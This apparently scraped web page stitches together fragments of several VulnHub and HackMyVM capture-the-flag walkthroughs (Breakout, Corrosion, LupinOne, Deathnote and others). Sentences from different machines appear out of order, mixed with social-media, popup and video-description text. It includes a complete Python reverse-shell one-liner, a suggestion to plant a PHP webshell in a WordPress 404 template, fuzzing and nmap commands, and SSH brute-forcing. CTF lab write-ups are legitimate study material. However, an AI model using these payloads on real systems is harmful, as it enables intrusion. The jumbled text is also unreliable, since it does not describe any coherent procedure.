I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. The scan command and results can be seen in the following screenshot. If we look at the bottom of the pages source code, we see a text encrypted by the brainfuck algorithm. So lets edit one of the templates, such as the 404 template, with our beloved PHP webshell. 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account structures We are now logged into the target machine as user l. We ran the id command output shows that we are not the root user. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. The VM isnt too difficult. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. So, let us open the file on the browser to read the contents. There are other HTTP ports on the target machine, so in the next step, we will access the target machine through the HTTP port 20000. , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. We got a hit for Elliot.. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Let us start the CTF by exploring the HTTP port. First off I got the VM from https: . If you have any questions or comments, please do not hesitate to write. We decided to download the file on our attacker machine for further analysis. bruteforce fig 2: nmap. insecure file upload The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Difficulty: Medium-Hard File Information Back to the Top We used the tar utility to read the backup file at a new location which changed the user owner group. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. writeup, I am sorry for the popup but it costs me money and time to write these posts. << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. The same was verified using the cat command, and the commands output shows that the mentioned host has been added. We clicked on the usermin option to open the web terminal, seen below. steganography After that, we tried to log in through SSH. My goal in sharing this writeup is to show you the way if you are in trouble. We used the cat command for this purpose. I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. Below are the nmap results of the top 1000 ports. Following that, I passed /bin/bash as an argument. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. We need to log in first; however, we have a valid password, but we do not know any username. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. sshjohnsudo -l. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. Let us open each file one by one on the browser. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. We can do this by compressing the files and extracting them to read. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. EMPIRE: BREAKOUT Vulnhub Walkthrough In English - Pentest Diaries Home Contact Pentest Diaries Security Alive Previous Next Leave a Reply Your email address will not be published. The usermin interface allows server access. This, however, confirms that the apache service is running on the target machine. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . I am from Azerbaijan. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. Your goal is to find all three. Using this username and the previously found password, I could log into the Webmin service running on port 20000. When we look at port 20000, it redirects us to the admin panel with a link. This gives us the shell access of the user. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. Decoding it results in following string. << ffuf -u http://192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt -fc 403 >>. CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. VulnHub Sunset Decoy Walkthrough - Conclusion. However, upon opening the source of the page, we see a brainf#ck cypher. We used the Dirb tool; it is a default utility in Kali Linux. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. pointers We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. So, we used to sudo su command to switch the current user as root. 12. We need to figure out the type of encoding to view the actual SSH key. Now that we know the IP, lets start with enumeration. So I run back to nikto to see if it can reveal more information for me. In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. Let us open the file on the browser to check the contents. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. I am using Kali Linux as an attacker machine for solving this CTF. Name: Fristileaks 1.3 So, we decided to enumerate the target application for hidden files and folders. If you understand the risks, please download! The identified plain-text SSH key can be seen highlighted in the above screenshot. I hope you enjoyed solving this refreshing CTF exercise. This is fairly easy to root and doesnt involve many techniques. This completes the challenge! cronjob We added all the passwords in the pass file. We will use the FFUF tool for fuzzing the target machine. I am using Kali Linux as an attacker machine for solving this CTF. We used the Dirb tool for this purpose which can be seen below. Let us get started with the challenge. Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. In the next step, we used the WPScan utility for this purpose. The base 58 decoders can be seen in the following screenshot. LFI We download it, remove the duplicates and create a .txt file out of it as shown below. Please try to understand each step and take notes. This is Breakout from Vulnhub. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. writable path abuse Below we can see netdiscover in action. The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. In the highlighted area of the following screenshot, we can see the. Download the Mr. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. We got one of the keys! I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. On the home page of port 80, we see a default Apache page. Please try to understand each step. So, in the next step, we will be escalating the privileges to gain root access. The hint message shows us some direction that could help us login into the target application. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Until now, we have enumerated the SSH key by using the fuzzing technique. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". Please comment if you are facing the same. We added another character, ., which is used for hidden files in the scan command. Lets start with enumeration. Here, we dont have an SSH port open. This is an apache HTTP server project default website running through the identified folder. We will use nmap to enumerate the host. So, we will have to do some more fuzzing to identify the SSH key. https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. data Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. Categories The hint also talks about the best friend, the possible username. Here we will be running the brute force on the SSH port that can be seen in the following screenshot. The l comment can be seen below. 22. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. The login was successful as we confirmed the current user by running the id command. There isnt any advanced exploitation or reverse engineering. Next, I checked for the open ports on the target. Please disable the adblocker to proceed. Funbox CTF vulnhub walkthrough. hacksudo Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. We changed the URL after adding the ~secret directory in the above scan command. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. backend This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. router Now, we can read the file as user cyber; this is shown in the following screenshot. Breakout Walkthrough. The hydra scan took some time to brute force both the usernames against the provided word list. We used the cat command to save the SSH key as a file named key on our attacker machine. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. First, let us save the key into the file. So, let us open the file on the browser. Let's do that. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. c As we can see above, its only readable by the root user. We researched the web to help us identify the encoding and found a website that does the job for us. Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. we have to use shell script which can be used to break out from restricted environments by spawning . command we used to scan the ports on our target machine. So lets pass that to wpscan and lets see if we can get a hit. Also, make sure to check out the walkthroughs on the harry potter series. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. . I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. sudo nmap -v -T4 -A -p- -oN nmap.log 192.168.19.130 Nmap scan result

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